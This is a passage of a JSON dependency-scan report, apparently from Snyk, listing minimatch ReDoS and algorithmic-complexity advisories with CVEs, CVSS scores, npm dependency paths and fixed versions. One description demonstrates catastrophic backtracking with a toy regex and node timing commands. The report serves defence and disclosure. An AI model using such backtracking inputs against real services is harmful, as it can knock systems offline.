"description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": 